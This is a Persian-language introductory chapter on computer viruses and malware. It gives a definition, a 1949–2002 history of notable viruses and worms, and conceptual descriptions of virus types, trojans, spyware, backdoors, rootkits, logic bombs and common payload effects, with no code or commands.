فصل یکم- ویروس ها
– 1-1تعریف ویروس
به برنامه های رایانه ای که به منظور تخریب ویا سوءاستفاده از ساختار یک رایانه نوشته شود،ویروس رایانه ای می گویند. ویروس رایانه ای عبارتی است برای یک برنامه ناخواسته مخرب که می تواند روی رایانه هامنتشرواجراگردد.
.معمولاًویروس هاتوسط برنامه نویسان برای مقاصد گوناگون نوشته می شوند. اهدافی چون شهرت،انتقام، ایجاد خسارت و یا اهداف اقتصادی می توانند باعث ایجاد انگیزه در نوشتن ویروس کامپیوتری شوند. برخی از ویروس ها بسیار مخرب هستند و برخی تنها جنبه تبلیغاتی دارند.
علت نامگذاری این برنامه ها به ویروس به دلیل شباهت نحوه فعالیت آنها با ویروس ها در دنیای حقیقی است. ویروس رایانه ای را می توان برنامه ای تعریف نمود که می توان خودش را با استفاده از یک میزبان تکثیر نماید. بنابراین تعریف اگر برنامه ای وجود داشته باشد که دارای آثار تخریبی باشد ولی امکان تکثیر نداشته باشد،نمی توان آن را ویروس نامید.
معمولاً کاربران کامپیوتر به ویژه آنهایی که اطلاعات تخصصی کمتری درباره کامپیوتر دارند،ویروس ها را برنامه هایی هوشمندوخطرناک می دانند که خود به خود اجرا و تکثیر شده و آثار تخریبی زیادی دارند که باعث از دست رفتن اطلاعات و گاه خراب شدن کامپیوتر می گردند در حالی که طبق آمار تنها پنج درصد ویروس ها دارای آثار تخریبی بوده وبقیه صرفاً تکثیر می شوند. بنابراین ویروس های رایانه ای از جنس برنامه های معمولی هستند که توسط ویروس نویسان نوشته شده و سپس به طور ناگهانی توسط یک فایل اجرایی و یا جا گرفتن در ناحیه سیستمی دیسک،فایل ها و یا کامپیوتر های دیگر را آلوده می کنند. در این حال پس از اجرای فایل آلوده به ویروس و یا دسترسی به یک دیسک آلوده توسط کاربر دوم، ویروس به صورت مخفی از نسخه ای خودش را تولید کرده و به برنامه های دیگر می چسباند و به این ترتیب داستان زندگی ویروس آغاز می شودوهر یک از برنامه ها و یا دیسک های حاوی ویروس، پس ازانتقال به کامپیوتر های دیگر باعث تکثیر نسخه هایی از ویروس وآلوده شدن دیگر فایل ها و دیسک ها می شوند.
بنابراین پس از اندک زمانی در کامپیوتر های موجود در یک کشور و یا حتی در سراسر دنیا منتشر می شوند.از آنجا که ویروس ها به طور مخفیانه عمل می کنند، تا زمانی که کشف نشده وامکان پاکسازی آنها فراهم نگردیده باشد، برنامه های بسیاری را آلوده می کنند و از این رو یافتن سازنده و یا منشا اصلی ویروس مشکل است.
ویروس ها هر روز در اینترنت، بیشتروبیشتر می شوند. ولی تعداد شرکت های آنتی ویروس ثابت است. پس ما باید برای حفاظت از سیستم خود دست به کار شویم. دراین سلسله مقالات سعی داریم که نحوه مقابله با ویروس هاوهمین طور بیوگرافی ویروس هاونحوه مقابله با هر ویروس را آموزش بدهیم.
از نظر مردم عادی به برنامه ای که در سیستم عامل اختلالات ایجاد کندویروس است ولی باید بدانید که خود ویروس ها بنا به کارها و امکاناتی که دارند تقسیم بندی می شوند.ویروس ها مثل سایر برنامه ها هستند.کسانیکه ویروس رامی نویسندهم ازهمین برنامه های عادی برنامه نویسی استفاده می کند.این برنامه ها دقیقاً مثل چاقو می ماند که هم می شود استفاده درست کرد هم نادرست.
– 2-1تاریخچه ورود ویروس
1949:
Home
برای اولین بار تئوری برنامه هایی که خودشان را جایگزین می نمایند مطرح گردید.
1981: ویروس های Apple 1 , Apple 2 , Apple 3 از اولین ویروس هایی بودند که پا به عرصه عمومی نهادند.این ویروس ها توسط کمپانی Texas A & M برای جلوگیری از کپی های غیر مجاز بازی های کامپیوتری نوشته و سپس شایع شدند. این ویروس ها ویژه سیستم عامل Apple II بودند.
1983: فرد کوهن (Fred Cohen) زمانی که روی رساله دکترایش کار می کرد، رسماً یک ویروس کامپیوتری را چنین تعریف نمود: "یک برنامه کامپیوتری که می تواند روی سایر برنامه های کامپیوتری از طریق تغییر دادن آنها به روشی (شاید) مانند کپی کردن خودش روی آنها، تاثیر بگذارد".
1986: دو برادر برنامه نویس پاکستانی به نام های "بسیط" و "امجد" کد قابل اجرای موجود در بوت سکتور یک فلاپی دیسک را با خودشان (که برای آلوده نمودن فلاپی دیسک های 360KB نوشته بودند) جایگزین کردند. تمام فلاپی های آلوده دارای برچسب "Brain" بودند.بنابراین، این ویروس "Brain" یا "مغز پاکستانی" نام گرفت. همزمان در کشور اتریش برنامه نویسی به نام رالف برگر "Ralf Burger" دریافت که یک برنامه می تواند از طریق چسباندن خودش به انتهای یک برنامه دیگر تکثیر شود،او با استفاده از این ایده برنامه ای به نام Virdem نوشت که پدیده فوق را شبیه سازی می نمود. پس از آن برگر Virdem را در کنفرانسی به همه معرفی نمود. برگر همچنین کتابی درباره ویروس های کامپیوتری نوشت ودرآن سورس ویروس به نام Vienna را چاپ کرد که این مساله بعداً باعث سوءاستفاده بسیاری از افراد گردید.
1987: یک برنامه نویس آلمانی ویروسی به نام Cascade نوشت.این ویروس، اولین ویروسی بود که روش رمز کردن (Encryption) را به کار می برد. در این روش بیشتر کد ویروس به غیر از چند بایت از آن به صورت رمز شده در می آید و از آن چند بایت بعداً برای رمزگشایی بقیه کد ویروس استفاده می شود. در این صورت تشخیص ویروس برای آنتی ویروس ها بسیار مشکل تر می باشد و دیگر رشته تشخیص ویروس (که در آنتی ویروس ها به کار می رود) به چند بایت محدود نمی شود.
بعدها برنامه نویسی به نام مارک واشبرن "Mark Washburn" با استفاده از این ایده و سورس ویروس Vienna اولین ویروس هزار چهره (Polymorphic) به نام "1260" را نوشت.
1988: ویروس Jerusalem منتشر شدوبه یکی از شایع ترین ویروس ها تبدیل گشت.این ویروس درروزهای جمعه ای که مصادف با سیزدهم هر ماه بودند فعال می شدوضمن آلوده نمودن فایل های Com , Exe، هر برنامه ای که در آن روز اجرا می شد را نیز پاک می نمود.
1989: در ماه مارچ مهم ترین موضوع ویروسی، خبری بود که حکایت از فعال شدن ویروسی به نام Datacrime در ماه آوریل داشت.اما پس از بررسی سورس کد ویروس معلوم شد که این ویروس در هر تاریخی پس از روز سیزدهم اکتبر فعال شده واقدام به فرمت کردن سیلندر صفر هارد دیسک می نماید. بدین ترتیب کاربران تمامی محتوای هارد دیسک شان را از دست می دهند. ویروس Datacrime به احتمال زیاد در کشور هلند نوشته شده بود ولی آمریکایی ها اسم آن را ویروس Columbus Day گذاشتندواعتقاد داشتند که توسط تروریست های نروژی نوشته شده است. در این سال این ویروس علیرغم سر و صدای زیادش، خسارت های چندانی به بار نیاورد. در این سال همچنین ویروس نویسان بلغاری و روسی وارد عرصه ویروس نویسی شدند.
1990: مارک واشبرن "Mark Washburn" ابتدا ویروس هزار چهره 1260 و سپس بر همان اساس ویروس های V2P1 , V2P2 V2P6 را نوشت وسورس کد آنها را منتشر نمود، هر چند که بعداً ویروس نویسان این کدها را به کار نبردند و حتی این ویروس ها خطر چندانی هم نداشتند ولی ایده موجود در آنها الهام بخش بسیاری از ویروس نویسان شد.
از طرف دیگر در بلغارستان ویروس نویس ماهری با نام مستعار Dark Avenger چند ویروس خطرناک به نام های DarkAvernger- 1800 , Number of the Beast , Nomenklaturaرانوشت. ویروس های وی دارای دو ویژگی مهم"آلوده سازی سریع" و "صدمه زدن زیرکانه" بودند. Dark Avenger به صورت فعالانه ای از طریق آلوده نمودن برنامه های Shareware وارسال آنهااقدام به پخش ویروس هایش نیز می نمود. همچنین در این سال کمپانی Symantec نیز آنتی ویروس Norton را به بازار عرضه نمود.
1991: سر و کله ویروس Tequila از کشور سوئیس پیدا شد. این ویروس، ویروس هزار چهره کامل تری بود که پا به عرصه عمومی گذاشت و بسیار شایع شد. پس از آن نوبت انتشار ویروس هزار چهره دیگری به نام Amoeba از کشور مالت رسید. تشخیص ویروس های هزارچهره به دلیل اینکه پس از هر بار آلوده سازی ظاهرشان را تغییر می دهند، برای اسکنرهای ویروس بسیار سخت تر می باشد.
Dark Avenger هم درانتهای این سال موتور خود تغییر دهنده "MtE" را ابداع کرد که می توانست چهار میلیارد شکل مختلف به خود بگیرد و با پیوند زدن آن به هر ویروسی، یک ویروس کاملاً چند شکلی پدید می آمد. وی سپس با استفاده از MtE ویروس های Dedicated , Commander Bomber را به دو سبک کاملاً متفاوت نوشت.
1992: تعداد ویروس ها به هزار و سیصد عدد رسید که در مقایسه با ماه دسامبر سال 1990 چهارصد و بیست درصد افزایش یافته بود. همچنین در این سال پیش بینی شد که خطر ناشی از انتشار ویروس "میکلآنژ" پنج میلیون کامپیوتر را تهدید به نابودی خواهد کرد، که البته این رقم در عمل به بیش از ده هزار تا نرسید. علاوه بر اینها ویروس هزار چهره جدیدی با نام Starship پا به میدان نهاد، نرم افزارهای تولید ویروس توسط دو ویروس نویس با نام های مستعار Nowhere Man , Dark Angel نوشته شدندودرانگلستان نیز گروه ویروس نویسی ARCV تاسیس شد.
1993-1994: گروه ویروس نویسی جدیدی به نام Tridend در کشور هلند فعالیت خود را آغاز نمود و موتور جدیدی به نام TPE را عرضه کرد، سپس اعضای آن با استفاده از انواع مختلف TPE، ویروس های، Girafe Cruncher، Bosnia را نوشتند. در آمریکا هم Dark Angel به کمک موتور ابداعی اش موسوم به DAME ویروس Trigger را نوشت.
1995: Concept اولین ویروس ماکرو، نوشته شد. این ویروس اسناد نرم افزار Microsoft Word را مورد حمله قرار می داد.
1996: در استرالیا گروهی از ویروس نویسان به نام VLAD اولین ویروس ویژه سیستم عامل ویندوز موسوم به Bonz و همچنین اولین ویروس سیستم عامل لینوکس موسوم به Staog را نوشتند. علاوه بر اینها اولین ویروس ماکروی نرم افزار Microsoft Excel به نام Laroux نیز در این سال نوشته شد.
ویروس Strange Brew، اولین ویروسی که فایل های جاوا را آلوده می کرد، نوشته شد. این ویروس با کپی کردن خودش در میان کد فایل های Class و عوض نمودن نقطه شروع اجرای این فایل ها با نقطه شروع کد ویروسی اقدام به تغییر دادن فایل های Class می نمود. همچنین Back Orifice اولین اسب تراوایی که امکان دسترسی از راه دور به سایر سیستم ها را در اینترنت فراهم می نمود، نوشته شد و کم کم مقدمات ظهور ویروس های ماکروی نرم افزار Microsoft Access نیز فراهم می گردید.
1999: ویروس "ملیسا" از طریق اجرا نمودن ماکرویی که در اسناد ضمیمه شده به نامه های الکترونیکی موجود بود، صدمه زدن به سیستم ها را آغاز نمود. این ویروس همچنین برای گسترش خود از دفترچه آدرس نرم افزار Outlook استفاده می کرد و ضمیمه های آلوده را برای 50 نفر دیگر ارسال می نمود. ویروس "ملیسا" سریع تر از تمامی ویروس های قبلی منتشر گردید. در این سال همچنین ویروس Corner اولین ویروسی که می توانست فایل های برنامه MS Project را آلوده سازد، نیز نوشته شد. علاوه براین، نوآوری های دیگری هم در دنیای ویروس نویسان صورت گرفت که از بین آنها می توان به نوشته شدن ویروس Tristate که اولین ویروس ماکروی چند برنامه ای بود و می توانست فایل های سه برنامه از برنامه های مایکروسافت (ورد، اکسل و پاور پوینت) را آلوده کند و همچنین نوشته شدن کرم Bubbleboy اشاره نمود.
این کرم هم اولین کرمی بود که وقتی کاربر نامه ساده و بدون ضمیمه ای را در نرم افزار Outlook Express باز و یا آن را پری ویو می نمود، فعال می گردید. حتی بدون اینکه ضمیمه ای به همراه نامه باشد، این کرم برای اثبات یک روش جدید نوشته شده بود و بعداً ویروس Kak از این روش بهره گرفت و به صورت گسترده ای شایع شد.
2000: ویروس I Love You درست مانند ویروس "ملیسا" به وسیله نرم افزار Outlook در سراسر دنیا پخش گردید. اما این ویروس از نوع اسکریپت ویژوال بیسیک بود که به صورت ضمیمه نامه الکترونیکی ارسال می شد. ویروس I Love You فایل های کاربر را پاک می کرد و حتی به برخی از فایل های تصویری و موسیقی نیز رحم نمی کرد. علاوه بر این، ویروس اسم کاربر و رمز عبور وی را می دزدید و برای نویسنده اش می فرستاد.
در این سال همچنین ویروس های Resume (که شبیه ویروس "ملیسا" بود) و Stages (که از روش پسوند دروغین بهره می گرفت) نیز ظهور کردند. در ماه ژوئن این سال و در کشور اسپانیا کرم Timofonica از نوع اسکریپت ویژوال بیسیک اولین حمله به سیستم های مخابراتی را آغاز نمود و در ماه نوامبر نیز اولین ویروس نوشته شده به زبان PHP ظاهر شد، این ویروس که Pirus نام گرفت، خودش را به فایل های PHP , HTML اضافه می نمود.
2001: ویروس Anna Kournikova در پوشش تصویر ستاره تنیس، "آنا کورنیکووا" و با روش انتشاری مشابه ویروس های "ملیسا" و "I love You" ظاهر شد. در ماه می این سال هم ویروس Home Page به حدود ده هزار نفر از کاربران نرم افزار Outlook آسیب رساند. در ماه جولای و آگوست نیز کرمهای CodeRed I ، Code Red II به شبکه های کامپیوتری حمله نمودند.
تعداد کامپیوترهای آلوده حدود هفتصد هزار دستگاه و خسارت وارده به سیستم ها بالغ بر دو میلیارد دلار برآورد گردید.
حادثه مهم دیگری که در این سال به وقوع پیوست، نوشته شدن ویروس Winux یا Lindose در کشور جمهوری چک توسط Benny از اعضای گروه 29A بود که قابلیت آلوده سازی هر دو سیستم عامل ویندوز و لینوکس را با هم داشت.
در این سال همچنین ویروس LogoLogic-A و ویروس PeachyPDF-A (اولین ویروسی که برای پخش شدن از نرم افزار کمپانی Adobe ویژه فایل های PDF استفاده می کرد) نیز پا به عرصه حیات گذاشتند. ولی بدون شک اهمیت هیچ یک از این ویروس ها به اندازه کرم Nimda نبود، این کرم که در ماه سپتامبر ظاهر شد، از تکنیک های برتر سایر ویروس های مهم به صورت همزمان استفاده می نمود. بنابراین توانست تا بسیار سریع گسترش یابد.
از ویروس های خطرناک و خبرساز دیگر این سال نیز می توان به ویروس های Sircam , BanTrans اشاره کرد.
2002: ابتدا در ماه ژانویه شاهد ظهور اولین ویروس آلوده کننده فایل های با پسوند SWF بودیم که LFM-926 نام داشت. این ویروس یک اسکریپت دیباگ (که می توانست یک فایل COM ساخته و به وسیله آن سایر فایل های با پسوند SWF را آلوده نماید) رها می کرد. پس از آن کرم Donut به عنوان اولین کرمی که به سرویس های NET. توجه داشت، توسط Benny نوشته شد و سپس در ماه مارچ اولین کرمی که مختص سرویس های NET. بود وارد عرصه شد. این کرم توسط یک دختر جوان بلژیکی با نام مستعار Gigabite و به زبانC# نوشته شد. در ماه می این سال نیز Benjamin ظاهر شد. این ویروس از آن جهت مورد توجه قرار گرفت که برای گسترش از شبکه KaZaa peer-to-peer استفاده می نمود.
در ماه ژوئن ویروس Perrun برای اثبات فرضیه "امکان آلوده سازی فایل های تصویری با پسوند JPEG توسط ویروس ها"، نوشته شد که این مساله تا قبل از این غیر ممکن می نمود. در این ماه کرم Scalper که وب سرورهای Apache را مورد حمله قرار می داد و از آنها برای طغیان شبکه سوء استفاده می کرد نیز شناسایی گردید.
-3-1 انواع ویروس
انواع ویروس های رایج را می توان به دسته های زیر تقسیم بندی نمود:
-1-3-1سکتور بوت (boot sector)
سکتور بوت اولین سکتور بر روی فلاپی و یا دیسک سخت کامپیوتر است. در این قطاع کدهای اجرایی ذخیره شده اند که فعالیت کامپیوتر با استفاده از آنها انجام میشود. با توجه به اینکه در هر بار روشن شدن و بارگذاری، سکتور بوت مورد ارجاع قرار می گیرد، و با هر بار تغییر پیکر بندی کامپیوتر محتوای سکتور بوت هم مجدداً نوشته می شود، لذا این قطاع مکانی بسیار آسیب پذیر در برابر حملات ویروس ها می باشد.
ویروس های سکتور بوت، اولین نوع ویروس هایی بودند که مشاهده شدند. این ویروس هااز طریق فلاپی هایی که قطاع بوت الوده دارند انتشار می یابند. در صورت آلوده شدن سکتور بوت دیسک سخت کامپیوتر توسط ویروس، هر بار که کامپیوتر روشن می شود، ویروس خود را در حافظه بار کرده و منتظر فرصتی برای آلوده کردن فلاپیها می ماند تا بتواند خود را منتشر کرده و دستگاه های دیگری را نیز آلوده نماید. اینگونه ویروس ها می توانند به گونه ای عمل کنند که تا زمانیکه دستگاه آلوده است امکان بوت کردن کامپیوتر از روی دیسک سخت وجود نداشته باشد.
این ویروس ها بعد از نوشتن بر روی متن اصلی بوت سعی می کنند کد اصلی را به قطاعی دیگر بر روی دیسک منتقل کرده و آن قطاع را به عنوان یک قطاع خراب علامت گذاری می کند. هنگامی که شما در مرتبه بعدی دستگاه راروشن می کنید، سکتور بوت آلوده شده، مورد استفاده سخت افزار قرار خواهد گرفت و بنابراین ویروس فعال خواهد شد.
پس در صورتیکه کاربر دستگاه را به وسیله یک دیسکت آلوده، (معمولاً دیسک های نرمی که سکتور بوت آلوده دارند) راه اندازی کند، در نهایت دستگاه آلوده به ویروس خواهد شد.
– 2-3-1ویروس های ماکرو (کلان دستور)
ویروس های macro از مزایای برنامه نویسی macro سود می برند، دستوراتی هستند که در دستورات داخل فایل ها ادغام شده و به صورت خودکار اجرا می شوند. این نوع ویروس ها مستقیماً برنامه ها را آلوده نمی کنند. هدف این دسته از ویروس ها فایل های تولید شده توسط برنامه هایی است که از زبان های برنامه نویسی ماکرویی مانند مستندات Excel یا Wordاستفاده می کنند. در حقیقت ویروس های macro یک برنامه ماکرو است که می تواند از خود کپی ساخته و از فایلی به فایل دیگر گسترش پیدا کند. ویروس های macro از طریق دیسک ها، شبکه و یا فایل های پیوست شده با نامه های الکترونیکی قابل گسترش می باشد.
– 3-3-1ویروس های چند ریخت
این ویروس ها درهر فایل آلوده به شکلی ظاهر می شوند. با توجه به اینکه از الگوریتم های کد گذاری استفاده کرده وردپای خود را پاک می کنند، آشکارسازی و تشخیص اینگونه ویروس ها دشوار است.
-4-3-1ویروس های مخفی
این ویروس ها سعی می کنند خود را از سیستم عامل و نرم افزارهای ضد ویروس مخفی نگه دارند. برای این کار ویروس در حافظه مقیم شده و حائل دسترسی به سیستم عامل می شود. در این صورت ویروس کلیه درخواست هایی که نرم افزار ضد ویروس به سیستم عامل می دهد را دریافت می کند. به این ترتیب نرم افزارهای ضد ویروس هم فریب خورده و این تصور به وجود می آید که هیچ ویروسی در کامپیوتر وجود ندارد. این ویروس ها کاربر را هم فریب داده و استفاده از حافظه را به صورت مخفیانه انجام می دهند.
– 5-3-1ویروس های چند بخشی
رایج ترین انواع این ویروس ها ترکیبی از ویروس های سکتور بوت و ویروس های انگلی می باشند. ترکیب انواع دیگر ویروس ها هم امکان پذیر است.
-6-3-1ویروس های مبتنی بر پست الکترونیکی
ویروس هایی از این نوع از طریق پیام های پست الکترونیکی منتقل می گردند. این نوع ویروس ها بصورت خودکار برای افراد متعدد، پست خواهند شد. گزینش افراد برای ارسال نامه الکترونیکی بر اساس دفترچه آدرس پست الکترونیکی، انجام می گیرد.
در حقیقت آخرین اطلاعات موجود در رابطه با ویروس های کامپیوتری به ویروس های پست الکترونیکی اشاره دارد و در حال حاضر پست الکترونیک بزرگترین منشاه ویروس ها می باشد.
-7-3-1ویروس های دوزیست
اینگونه ویروس ها، ویروس هایی هستند که در دو محیط مختلف از نظر نوع سیستم عامل قادر به زیست و آلوده سازی می باشند. این نوع از ویروس ها در سیستم عامل های معروفی چون ویندوز و خانواده لینوکس بیشتر دیده شده اند و براحتی قادر به مهاجرت از سیستم عامل ویندوز به لینوکس و بلعکس می باشند. نگارندگان ویروسهای کامپیوتری تاکنون نمونه های مختلفی از این کدهای مخرب را که می تواند هر دو سیستم عامل ویندوز و لینوکس را مبتلا سازند، به صورت محدود و کنترل شده منتشر کرده اند.
– 4-1سایر نرم افزار های مخرب
برخی از محققین کرم ها، اسب های تروا ( Trojan Horse )، Spyware ها، Trapdoor ها، Backdoor ها، باکتری ها، Zombie، Rootkit و بمب های منطقی را در دسته ویروس ها قرار نمی دهند ولی واقعیت این است که این برنامه ها هم بسیار خطرناک بوده و می توانند خساراتی جدی به سیستم های کامپیوتری وارد نمایند .
– 1-4-1کرم ها
اولین و مشهورترین ویروس یک Worm می باشد که به طور تصادفی در 2 نوامبر 1988 وارد شبکه گردید. طبق ادعای طراح آن هدف از این کار تنها اثبات کردن ضعف سیستم امنیتی کامپیوتر ها بوده است. اینترنت در سال 1988 دوران کودکی خود را طی می کردو تنها در اختیار معدودی از دانشگاه ها، موسسات تحقیقاتی دولتی مانند NASA و آزمایشگاه های بین المللی مانند Los Alamos بود. با وجود اینترنت بسیار محدود آن زمان خبر از کار افتادن این مغزهای کامپیوتر ی در MIT , Berkeley و… تمام مردم را شوکه کرد. تنها در مذت چند ساعت بیش از 3000 کامپیوتر در مهم ترین مراکز آمریکا از کار افتاده و خسارت وارد بر آنها در حدود 100 میلیون دلار برآورد گردید.
Wormها زیر مجموعه ای از ویروس های کامپیوتری می باشند که برخلاف دیگر ویروس ها از جمله Melissa که خود را به صورت E-Mailبرای کاربران اینترنتی می فرستد. سیستم کامپیوتر را سوراخ کرده و به طرف مغز کامپیوتر پیش می روند. یکی از خصوصیات بارز Wormها توانایی پنهان شدن درون سیستم بوده به طوری که قابل ردگیری نمی باشند. این Worm ها مانند ویروس هایی می باشند که خود را در اعصاب ستون فقرات پنهان کرده و گاه و بی گاه دردهای شدیدی را تولید می کنند و اما Worm های مفید: در میان انواع Worm ها کرم های مفیدی نیز طی سالیان متمادی به منظور چک کردن کارآیی سیستم و… مورد استفاده قرار گرفته اند.
این Worm ها Agent نامیده شده و درون شبکه حرکت کرده اطلاعات منابع مورد استفاده و… را چک و اطلاعاتی در مورد کارکرد شبکه یا حتی محلی را که می توان ارزان ترین DVD را خریداری نمود به کاربر اعلام می دارند. از تفاوت های بارز میان Agent و Worm می توان به این مورد اشاره کرد که Agent برخلاف Worm خود را تکثیر نکرده و درون سیستم های کاربران نفوذ نمی کند.
-1-1-4-1تاریخچه اولین کرم
این Worm که توسط Robert Tappan Morris طراحی شده به RTM مشهور گردید. Morris بعد از اتمام دوره لیسانس خود در پاییز سال 1988 از دانشگاه خارج و به برنامه نویسی کامپیوتر روی آورد. بعد از آن در مقطع Ph.D دانشگاه MIT در رشته مورد علاقه خود مشغول به تحصیل گردید و بدین ترتیب از امکانات کامپیوتری واینترنتی دانشگاه بهره مند شد. وی در اکتبر سال 1988 برنامه ای را به منظور پی بردن به نقاط ضعف سیستم های اینترنتی و امنیتی کامپیوتر طراحی کرد. نحوه کار این برنامه بدین ترتیب بود که پس از رها شدن آن در اینترنت سریعاًوبدون جلب هیچ گونه توجهی پخش می گشت (طبق اظهارات وکیل مدافع موریس).
موریس به منظور جلوگیری از مشخص شدن هویت خود پس از اتمام برنامه آن را از طریق کامپیوتر های دانشگاه MIT وارد شبکه کرد. یکی از خصوصیات این ویروس اضافه کردن یک شمارنده به برنامه بود. بدین ترتیب در صورتی که این برنامه حداکثر تا 6 بار یک کپی از خود را در کامپیوتر پیدا می کرد، تکثیر نشده ودر هفتمین بار این برنامه پس از تکثیر و نفوذ به کامپیوتر آن را مورد هجوم قرار می داد. این برنامه ضمیمه یک اشتباه بسیار مهلک بود!! کامپیوتر هایی که در سال 1988 به اینترنت متصل می شدند به طور میانگین هر 10 روز یک بار خاموش شده ودوباره راه اندازی می گشتند. از آنجا که برنامه موریس در کامپیوتر ذخیره نمی شد، این خصوصیت سوپاپ اطمینانی گشت تا به هر بار خاموش شدن کامپیوتر برنامه به طور خودکار از میان برود.
با این حال از آنجایی که تمام کامپیوتر های متصل به اینترنت به طور همزمان خاموش نمی شدند این Worm ها می توانست دوباره برگشته و در آنجا مقیم گردد. طبق این نظریه موریس، تعداد Worm ها همواره دارای یک تعادل بوده و مشکل خاصی را در کامپیوتر سبب نمی شدند. و اما ایراد برنامه موریس دراین بود که این Worm بسیار سریع تر از انتظار موریس تکثیر می یافت در کمتر از چند ساعت بعد از آزادسازی آن هزاران کامپیوتر در مراکز حساس از کار افتاده و دچار سکته شدند. پنج روز بعداز ازادسازی Wormدر6نوامبرهمه چیز به حالت عادی خود برگشت در 12نوامبر سرانجام E-mail هایی که موریس در آنها طرز خنثی کردن Worm را توضیح داده بود به مقاصد خود رسیده و مردم از نحوه خنثی سازی Worm آگاهی یافتند.
2-4-1اسبهای تروا (Trojan Horse )
اسب های تروا تظاهر می کنند که کاری خاص را انجام میدهند ولی در عمل برای هدف دیگری ساخته شده اند. به عنوان مثال برنامه ای که وانمود می کند که یک بازی است ولی در واقع اجازه دسترسی از راه دور یک کاربر به کامپیوتر را فراهم می آورد. برنامه های فوق بر خلاف ادعای خود نه تنها عملیات مثبتی را انجام نخواهند داد بلکه باعث بروز آسیب های جدی پس از فراهم نمودن شرایط اجرا می باشند. (بطور مثال ممکن است اطلاعات موجود بر روی هارد دیسک را حذف نمایند). اسب های تروا دارای روشی برای تکثیر خود نمی باشند. اینگونه نرم افزارها اکثرا برای انتشار ویروس یا کرم و یا ایجاد یک Backdoor (در پشتی) بکار می روند. به اینگونه نرم افزارها RAT نیز گفته می شود.
-3-4-1جاسوس افزارها(Spyware)
نرم افزار جاسوسی هر نوع فناوری یا برنامه روی کامپیوتر شماست که اطلاعات را بطور پنهانی جمع آوری میکند. Spyware یک نام کلی برای برنامه هایی است که رفتارهای مشخص انجام می دهند مثل نمایش آگهی های تبلیغاتی، جمع آوری اطلاعات شخصی یا تغییر تنظیمات کامپیوتر شما که معمولا بدون کسب مجوز اجرا می شوند.
در حقیقت جاسوس افزار، نرم افزاری است که اقدام به جمع آوری اطلاعات شخصی بدون آگاهی و یا اجازه کاربران می نماید. اطلاعات جمع آوری شده می توان شامل لیست سایت های مشاهده شده توسط کاربر و یا اطلاعات بمراتب حساس تری نظیر نام و رمز عبور باشد.
-4-4-1درهای پشتی (Backdoor)
برنامه ای است که به یک نفوذگر این امکان را می دهد تا پروسه امنیتی یک سیستم را دور زده و منابع مختلفی از آن سیستم را از راه مربوطه در اختیار نفوذگر قرار دهد. به عبارت دیگر در پشتی راهی ساده و فرعی برای ورود مجدد یه سیستم بدون پیش نیازهای امنیتی میباشد.
Backdoor حضور بلند مدت نفوذگر را بر روی سیستم هدف تضمین می کند.
– 5-4-1باکتری ها (Bacteries )
اینگونه از نرم افراز های مخرب کاری بجز تکثیر خود بصورت نمایی انجام نمی دهند ولی همین عمل می تواند منجر به درگیر شدن همه منابع سیستم (پردازنده، حافظه و فضای دیسک سخت) تا سر حد مرگ شود.
Zombie -6-4-1
نرم افزار های معروف به Zombie در قالب برنامه های رایگان، زیبا و جذاب ولی آلوده در سراسر شبکه اینترنت توزیع می شوند بخشی از کاربران آماتور که آگاهی خاصی از این موضوع ندارند، با اجرای این برنامه ها، ارسال بخشی از بسته های بمباران کننده مثل SYN-Flood را بر عهده می گیرند و بدین نحو بدون اطلاع، با اهداف شوم نفوذگر همسو می شوند.
Rootkits -7-4-1
یک Rootkits، شامل مجموع ای از برنامه هایی است که نفوذگر جهت گریز از کشف و ردیابی در هنگام دسترسی غیر مجاز به کامپیوتر هدف از انها استفاده می کند. Rootkits، عملیاتی کلی مانند جابجایی فایل های اصلی و کتابخانه ای یا نصب ماژول هسته سیستم عامل را انجام می دهد. نفوذگر ابزارRootkit را پس از دسترسی به سیستم هدف در سطح یک کاربر مدیر، بر روی سیستم نصب می کند. این دسترسی می تواند از طریق درهم شکستن کلمه عبور و یا بهره گیری از نقاط آسیب پذیر سیستم صورت گیرد. در ادامه نفوذگر اقدام به جمع آوری User ID های سیستم هدف از طریق ابزار Rootkit می نماید تا به حساب کاربری اصلی مانند حساب کاربری Root یا Administrator دست یابد.
-8-4-1بمب های منطقی
بمب های منطقی برنامه هایی هستند که در زمان هایی از قبل تعیین شده؛ مثلا یک روز خاص؛ اعمالی غیر منتظره انجام می دهند. این برنامه ها فایل های دیگررا آلوده نکرده و خود را گسترش نمی دهند در حقیقت بمب های منطقی یکی از قدیمی ترین انواع نرم افزارهای مخرب محسوب می شوند. این نرم افزار ها شامل یک قطعه کد پنهانی بوده که در داخل یک برنامه مجاز گنجانیده شده است و همانطور که گفته شد این قطعه کد به شرط خاصی فعال می شود و آن می تواند وجود یا عدم وجود فایل خاصی، تاریخ / ساعت مشخصی و یا کاربر خاصی باشد که در صورت فعال شدن معمولا همراه با انجام عملیات تخریبی می باشد. ( مانند تغییر یا حذف فایل ها )
-5-1عملکرد ویروس ها
ویروس ها علاوه بر کار اصلی خود، کارهای فرعی دیگری که در اکثر اوقات از آنها برای جلب توجه کاربر استفاده می شود ( و به این قسمت از برنامه ویروس اکثرا Playload گفته می شود)انجام می دهند در قسمت زیر بعضی از اینگونه فعالیت ها آورده شده است:
-1-5-1پیغام ها
گاهی ویروس ها اقدام به ارسال و نمایش پیغامهای معنی دار و بی معنی به مخاطب خود می کنند که اصولا این پیغام ها اهداف و جهت های خاصی را دنبال می کنند. برای مثال ویروس WM98/jerk اقدام به نمایش پیغام های توهین آمیز به کاربر و قربانی خود می کند.
-2-5-1 شوخی ها
اکثر ویروس ها موضوعی مانند شوخی را سرلوحه کار خود قرار می دهند و در کنار کار اصلی خود قصد شوخی کردن با کاربر خود را نیز دارند. برای مثال ویروس Yankee در ساعت 5 بعد ازظهر اقدام به نمایش و اجرا یک برنامه طنز خاص می نماید.
-3-5-1غیر فعال کردن دسترسی ها
این اقدام از مهمترین و اصلی ترین اقدامات یک ویروس بشمار می آید. البته ویروس هایی هم گزارش شده اند که به هیچ وجه از اقدامات عدم دسترسی در جهت پیش برد اهدافشان استفاده نمی کنند. اما این اقدام می تواند یکی از استانداردترین اهداف یک ویروس بشمار آید. به عنوان مثال ویروس WM97/NightShade در جمعه هایی با تاریخ 13 هر ماه متن های باز شده در دستگاه را توسط کلمه رمزی غیر قابل دسترسی می کند.
– 4-5-1سرقت اطلاعات
سرقت اطلاعات می تواند هدف اصلی یک ویروس سارق به حساب آید. البته نرم افزار های مخربی نیز وجود دارند که در کنار کارهای دیگر خود بر اساس شرایط خاصی مانند تاریخ و ساعت اقدام به سرقت از نوع مالی و اطلاعات می کنند. به عنوان مثال یک نوع اسب تروای LoveLet-A اطلاعات مربوط به کاربر و دستگاه او را به آدرسی در فیلیپین ارسال می کند.
